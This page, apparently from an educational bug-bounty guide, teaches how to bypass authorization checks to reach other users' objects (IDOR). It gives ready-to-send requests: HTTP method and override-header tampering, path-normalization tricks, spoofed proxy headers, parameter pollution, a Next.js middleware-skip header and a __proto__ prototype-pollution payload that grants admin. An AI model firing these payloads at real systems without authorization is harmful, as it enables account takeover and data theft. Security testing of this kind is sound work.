Skip to content

04 · Hunting

Bypass Techniques

7 min readIDOR Hunting

When the obvious test returns 403, you’re not done, you’ve just found that one code path checks authorization. There are usually others. Below: the modern bypass catalog that still pays in 2025.

Many frameworks register handlers per-method. A team that hardened GET /api/users/:id may have left POST, PUT, PATCH, HEAD, or even bogus methods (FOO) wide open. Try:

HTTP method tampering (FUZZ)

GET /api/users/7011/email → 403
POST /api/users/7011/email → 200 # sometimes
PUT /api/users/7011/email → 200 # common
PATCH /api/users/7011/email → 200
HEAD /api/users/7011/email → 200 # some middleware skips authz on HEAD; size and headers still leak
FOO /api/users/7011/email → 200 # frameworks that fall through to GET
# Method override: the route only locked PUT, the override header is still trusted
GET /api/users/7011/email
X-HTTP-Method-Override: PUT
X-Method-Override: PUT

GET being safe is a fact about one costume. Before you close the endpoint, send the same path as POST with the JSON body the GET never carried. Routers pick a different handler. Deprecated versions are the same idea and live under endpoint variants below: /api/v1/... stays up after v2 shipped, and nobody re-tests the old code. Content-Type: application/xml can land in an older deserializer with an older authz path. That swap is in the content-type subsection.

One path, every costume. Read status and size. (SHELL)

Terminal window
for method in GET POST PUT PATCH DELETE HEAD OPTIONS; do
curl -sk -o /dev/null -w "$method → %{http_code} (%{size_download}b)\n" \
-X "$method" "https://target.example/api/orders/1042" \
-H "Cookie: $SESS"
done
# Anything that isn't a flat 401/403 gets a Burp repeater tab.

If the auth check is path-based, the application server may normalize paths differently than the WAF or proxy. You can then slip an unauthorized request past the check. Try every variant, because modern routers and proxies disagree on which to normalize:

Variant Path
Baseline /api/users/7011
Trailing slash /api/users/7011/
Double slash /api//users/7011
Dot-segment /api/./users/7011
Parent traversal /api/users/7000/../7011
Encoded slash /api/users%2F7011
Double-encoded /api/users%252F7011
Encoded null /api/users/7011%00
Unicode space /api/users/7011%20
Path parameter /api/users/7011;.json
Extension swap /api/users/7011.json, .xml, .html
Case /api/USERS/7011, /API/users/7011

Reverse proxies and WAFs sometimes rewrite the request URL based on headers. Authorization middleware may then run against the rewritten URL while the application handler runs against the original. Try injecting:

Headers worth testing (HEADERS)

X-Original-URL: /api/users/7011
X-Rewrite-URL: /api/users/7011
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Custom-IP-Authorization: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: localhost
Referer: https://target.com/admin/dashboard

Some servers parse the first occurrence of a parameter; others the last. WAFs may inspect one while application code reads the other. Try every combination:

Parameter pollution variants (POLLUTE)

# Two values of the same parameter
GET /api/invoice?id=SELF&id=7011
GET /api/invoice?id=7011&id=SELF
# Array wrapping (JSON body)
{"user_id": 7011} → 403
{"user_id": [7011]} → 200 # auth check on int, app reads array[0]
{"user_id": ["SELF", 7011]} → 200
{"user_id": {"value": 7011}} → 200 # auth on primitive, app on object
# Type confusion
{"user_id": "7011"} # string vs int
{"user_id": 7011.0} # float vs int
{"user_id": "007011"} # leading zeros
{"user_id": 0x1B63} # hex

The auth middleware and the handler parse the same parameter differently. One of them sees your id. The other sees the victim’s. The last two rows are mass assignment wearing a content type. Send them on every PATCH.

Spelling What it does
id=01, id=+1, id=1.0, id=1e0 Different parser, same row. A ^\d+$ check may skip while the object-relational mapper (ORM) coerces.
id=0x10, id=1_000 JavaScript, PHP, and Ruby numeric coercion.
id=%201, id=1%00, id=1%20 Trim and null-termination at different layers.
id[]=1, id[0]=1, id[1]=2 PHP and Rails array parsing. The app takes [0]. Auth takes the scalar.
{"id":1,"id":2} Duplicate JSON keys. Last-wins in most parsers, first-wins in some. Auth reads one, the handler the other.
id=-1, id=0 Admin and system sentinels.
id=null, id=true, id=*, id=all “No filter” sentinels. Often the whole table.
9007199254740993 JavaScript’s float rounding lands on a neighbor of that integer.
1 (fullwidth digit) Unicode normalization at the edge, ASCII at the database.
id=1,2 A CSV parser builds WHERE id IN (...) with no owner scope.
?fields=id,email,ssn Property-level authorization failure. BOPLA.
?include=owner, ?expand=org.members The nested object is the leak.
?select=*,owner(*) PostgREST embedded resource. RLS on the embed can differ from the base table.
?order=id&limit=1 order and limit interpolated into the query.
application/merge-patch+json with {"owner_id":42} The binder copies a field the UI never sent.
application/json-patch+json [{"op":"replace","path":"/owner_id","value":42}] The same write through a different binder.

Many APIs accept multiple content types. The deserializer for one format may apply different validation than another. Try resending the same logical request as:

  • application/json → application/xml
  • application/json → application/x-www-form-urlencoded
  • application/json → multipart/form-data
  • application/json → text/xml (legacy XML parsers occasionally still work)
  • application/json → application/merge-patch+json and application/json-patch+json

For any sensitive operation, the developer often shipped multiple endpoints over time. Try every guess:

  • Version downgrade , /api/v3/users/7011 blocked but /api/v2/, /api/v1/, /api/internal/, /api/legacy/ still alive
  • Mobile-only endpoints , /api/mobile/, /api/ios/, /api/android/ with looser auth
  • Subpath variants, if /users/7011/profile blocks, try /users/7011/details, /users/7011/info, /users/7011/summary
  • List endpoints, when fetching /users/7011 403s, try /users?ids=7011 or /users/batch?ids[]=7011
  • Export / report endpoints , /export, /print, /pdf, /download often skip the in-app auth layer

A classic, still-paying bypass: the authorization middleware checks the ID in one location while the application handler reads it from another. Put your own ID where the check looks, and the victim’s ID where the code actually reads. Try every pairing:

Location-mismatch bypass (FUZZ)

# Auth check reads the path (SELF); handler trusts the body (victim)
POST /api/users/SELF/update
{"user_id": 7011, "email": "attacker@evil.com"}
# Auth check reads the query; handler trusts the JSON
POST /api/invoice?id=SELF
{"id": 7011}
# Header vs body — common in multi-tenant SaaS
X-Account-Id: SELF
{"account_id": 7011}

The difference between rejections tells you which control you’re up against, and where to push:

Response What it usually means Your move
401 Authentication missing/invalid, the endpoint never got to authorization. Fix your session, then re-test authz.
403 Authenticated but denied, a check fired. The object usually exists. Attack the check: verb, path, header, wrapping bypasses.
404 on a known-good ID Sometimes a “polite 403” hiding existence. Compare timing/body vs a true 404; a difference is an existence oracle.
200 but empty Auth passed; filter stripped the data, or it’s blind. Check side effects (section 03) and try field-level GraphQL/BOPLA paths.

These routes do not appear in the sitemap. The auth check sits in a different layer than the handler. The framework will invoke a server function for anyone who knows its hash.

Middleware is a router, not a guard. CVE-2025-29927: Next.js trusted the internal x-middleware-subrequest header. Send it and the middleware, including every matcher-protected auth redirect, is skipped.

Skip the middleware auth redirect (GET)

GET /admin/users/1042 HTTP/2
Host: target.example
x-middleware-subrequest: middleware

The value depends on where the file lives: middleware, src/middleware, or pages/_middleware. Patched in 15.2.3, 14.2.25, 13.5.9, and 12.3.5. For 11.1.4 through 13.5.6 the vendor workaround is to strip the header at the edge. Next.js’s own guidance is that authorization belongs inside each server function, not in middleware. Middleware only sees the path, and a matcher edit silently drops routes from the check.

Server Actions are public POST endpoints. A "use server" function compiles to an endpoint whose id is a hash of its source location. Anyone who has the page has the handle. The arguments are attacker-controlled. A deleteInvoice(id) hidden in a client component is callable with any id.

Call the action with B’s id and A’s cookie (POST)

POST / HTTP/2
Host: target.example
Next-Action: 7f3a9c1e2b...
Content-Type: multipart/form-data; boundary=x
--x
Content-Disposition: form-data; name="1_invoiceId"
1042
--x--

Find the action ids in the client bundle and in the React Server Components (RSC) flight payload (GET /?_rsc=..., Next-Router-State-Tree). Replay with B’s id and A’s cookie. In Next.js 15 and later, params in a route handler is a Promise. A handler that forgets await receives "[object Promise]", and some code paths fall through to an unscoped default query. Send the route with a missing or malformed id and read what comes back.

tRPC. protectedProcedure proves a session exists. It does not prove the session may touch this object. The procedure path is the URL (/api/trpc/invoice.byId), and the router is in the client bundle. CVE-2025-59305 (Langfuse) was this shape: backgroundMigrations.retry sat on protectedProcedure, any self-serve user could call it, and the fix was a new adminProcedure. Diff the procedure list against the role checks.

Batching is GraphQL aliasing for a REST-shaped API. One request, N procedure calls. The rate limiter counts one request. The resolver runs three times. The same primitive covers one-time password (OTP) checks and coupon validation.

Three invoice ids, one HTTP request (GET)

GET /api/trpc/invoice.byId?batch=1&input={"0":{"json":1042},"1":{"json":1043},"2":{"json":1044}} HTTP/2
Cookie: <A's session>

Prototype pollution that flips authorization for the process. CVE-2025-68130: @trpc/server’s formDataToObject, used by experimental_nextAppDirCaller, built nested objects from field names and did not filter __proto__. A form post pollutes Object.prototype for the Node process. Every later if (user.isAdmin) passes. This is not an IDOR by itself. It is the bug that makes the IDOR vertical.

Pollute, then watch the role check (POST)

POST /api/trpc/user.update HTTP/2
Content-Type: application/x-www-form-urlencoded
__proto__[isAdmin]=true&__proto__[role]=superadmin

Also send constructor[prototype] and prototype[...] on every form-encoded or multipart body. Confirm on an account you own. Do not leave a polluted worker serving other users. If the process is shared, stop after one proof and tell the program.

Next step: if the target exposes one GraphQL endpoint, continue with GraphQL IDOR.

Connections5 backlinks · 1 outgoing · 2 cross-guideFull graph →
Open local graph around this page
Open full graph →
Click a node to open · Drag to reposition · Scroll to zoom

IDOR HuntingFor educational and authorized bug bounty use only.